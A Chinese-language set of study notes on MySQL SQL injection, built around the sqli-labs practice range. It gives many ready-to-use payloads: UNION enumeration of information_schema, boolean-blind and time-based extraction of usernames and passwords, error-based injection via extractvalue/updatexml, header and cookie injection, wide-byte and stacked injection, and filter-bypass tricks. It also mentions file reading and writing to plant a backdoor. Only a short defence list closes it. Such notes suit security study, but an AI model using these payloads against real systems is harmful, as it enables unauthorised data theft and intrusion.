MySQL注入
靶场准备
具体安装操作自行搜索
判断注入点
老办法:
and 1=1 页面正常
and 1=2 页面错误
新方法:
直接在要判断的注入点后面随便输入一些内容,内容显示与之前不一样说明有注入点,一样则没有
信息收集
数据库版本 version()
数据库名称 database()
数据库用户 user()
操作系统 @@version_compile_os
判断字段数
order by 数字; 通过的显示正确错误来一直试出正确的数字
union select 1,2,3,4
随便输入让他报错
再显示出数字的位置开始收集信息
必要知识点
1、在MySQL5.0以上版本,MySQL存在一个自带数据库名为information_schema,它是一个存储记录所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名和列名信息
2、MySQL中"."表示下一级,如information_schema.tables
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名
在GET请求方式中使用--+注释或者引号闭合
在POST请求中使用#注释
同数据库高版本查询信息
查询指定数据库“数据库名”下的表名信息
union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="数据库名"
group_concat(table_name)——有多个时查询所有结果放在一个格内,使结果成一行一列
正常查询结果
一行一列显示结果
查询指定数据库表名下的列名信息
查询指定的数据
高权限用户注入
跨库查询及应用思路
information_schema表特性,记录库名,表名,列名对应表
获取所有数据库名:
union select 1,group_concat(schema_name), 3 from information_schema.schema
获取指定数据库“数据库名”的表名
获取指定数据下表名下的列名信息
获取指定数据库的数据
文件读写操作
load_file(): 读取函数 可以用来写入后门
into outfile 或 into dumpfile:导出函数 找出文件中的敏感信息
路径获取常见方法
报错显示,遗留文件,漏洞报错,平台配置文件,爆破等
魔术引号
phpstudy中:magic_quotes_gpc
php代码中的函数:addslashes()函数返回在预定义字符之前添加反斜杠的字符串
编码绕过:使用编码工具将地址转换成base64(MySQL也可以正常识别)从而忽视它补充转义
布尔盲注
获取数据名的长度
sqlilabs.com/Less-6/?id=1' and length((select database())) = 8 --+
获取数据名的内容
sqlilabs.com/Less-6/?id=1' and substr((select database()),1,1)="a" --+
获取数据库里的所有表的长度
sqlilabs.com/Less-5/?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema="security"))>110 --+
获取所有表的名字对应的字母
sqlilabs.com/Less-5/?id=1'and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='A' --+
获取表里所有字段的长度
sqlilabs.com/Less-5/?id=1'and length((select group_concat(column_name) from information_schema.columns where table_name="users"))>13 --+
获取所有字段的内容
sqlilabs.com/Less-5/?id=1'and substr((select group_concat(column_name) from information_schema.columns where table_name="users"),1,1)="a" --+
获取指定表内数据的长度
sqlilabs.com/Less-5/?id=1'and length((select group_concat(username,id,password) from users))<200 --+
获取表内数据的内容
sqlilabs.com/Less-5/?id=1'and substr((select group_concat(username,id,password) from users),1,1)="a" --+
时间注入
步骤和布尔盲注一致,只需使用and if()语句,通过页面睡眠时间来判断是否存在注入
?id=1' 'and if((substr((select database()),1,1)='b'),sleep(10),1)--+
and if((length((select group_concat(table_name) from information_schema.tables where table_schema="security"))>19),sleep(10),1)--+
and if((substr((select group_concat(table_name) from information_schema.tables where table_schema="security"),1,1)='s'),sleep(10),1)--+
and if((length((select group_concat(column_name) from information_schema.columns where table_name='users'))>50),sleep(10),1) --+
and if((substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,1)='a'),sleep(10),1) --+
and if((length((select group_concat(username,id,password) from users))>100),sleep(10),1) --+
and if((substr((select group_concat(username,id,password) from users),1,1)='a'),sleep(10),1) --+
报错注入
用到的场景如下
有回显、有SQL报错提示
三种函数如下
extractvalue(1,语句)
updatexml(1,语句,1)
and select count() from information_schema.tables group by concat(0x5c,(语句),floor(rand(0)2)) #
POST请求注入位置如下(括号中的数字为sqlilabs中对应题号)
在输入用户名之后在密码输入框进行报错注入(17)
在User-Agent字段中进行报错注入,在靶场中是有三个参数(18)
在Referer字段中进行报错注入,在靶场中有两个参数(19)
在Cookie字段中进行报错注入(20)
思路整理
1、先注册一个账号,如(admin'#)做为污染数据插入数据库,然后登录污染账号,进行密码修改(存在修改密码时验证原密码,在24题中没有验证原密码) 2、对于过滤or或者and可以通过双写,因为只检测一次,可以通过双写如(oorr)进行绕过 3、对于过滤逻辑运算符、空格、注释符,逻辑运算符可以使用(&&和||)替代,空格可以使用()包裹,注释符使用单引号闭合,对于绕过空格限制有大把的方式对于空格,有较多的方法:%09 TAB键(水平)、%0a 新建一行、%0c 新的一页、%0d return功能、%0b TAB键(垂直)、%a0 空格,只能使用()绕过。报错注入空格使用比较少所以我们可以使用报错注入 4、在报错注入中extractvalue()和updatexml()有长度限制,在不允许使用空格的情况下可以使用substr(),进行截取 5、在注释符被禁用的情况下可以使用单引号闭合,('闭合
宽字节注入
使用场景: 对单引号和双引号进行过滤 mysql编码为GBK编码 原理: 当MySQL数据库使用GBK编码时,如果输入包含特定的字符组合,如%df%27,MySQL会将其视为一个汉字,从而绕过了一些安全机制,如addslashes()函数对单引号的转义。
堆叠注入
堆叠注入,因为存在mysqli_multi_query函数,该函数支持多条sql语句同时进行 ?id=1';insert into users(id,username,password) values ('38','less38','hello')--+
防御手段
1、自带的功能或者函数
2、加入判断过滤,如Id纯数字(绕过不了)
3、替换关键字,如select
4、WAF绕过